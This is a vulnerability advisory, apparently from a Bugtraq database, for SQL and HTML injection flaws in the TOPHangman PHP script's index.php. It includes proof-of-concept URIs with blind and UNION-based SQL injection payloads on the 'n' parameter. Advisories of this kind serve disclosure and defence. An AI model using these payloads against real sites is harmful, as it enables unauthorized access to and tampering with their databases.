TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
BID:43513
Info
TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
| Bugtraq ID: | 43513 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-2888 CVE-2009-2889 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 21 2009 12:00AM |
| Updated: | Jul 21 2009 12:00AM |
| Credit: | Moudi |
| Vulnerable: |
phpscriptsnow TOPHangman 0 |
| Not Vulnerable: | |
Discussion
TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
Exploit / POC
TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()--
An attacker can exploit these issues through a browser.
The following example URIs are available:
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()--
Solution / Fix
TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
TOPHangman 'index.php' SQL Injection and HTML Injection Vulnerabilities
References:
References:
- phpscriptsnow - homepage (phpscriptsnow)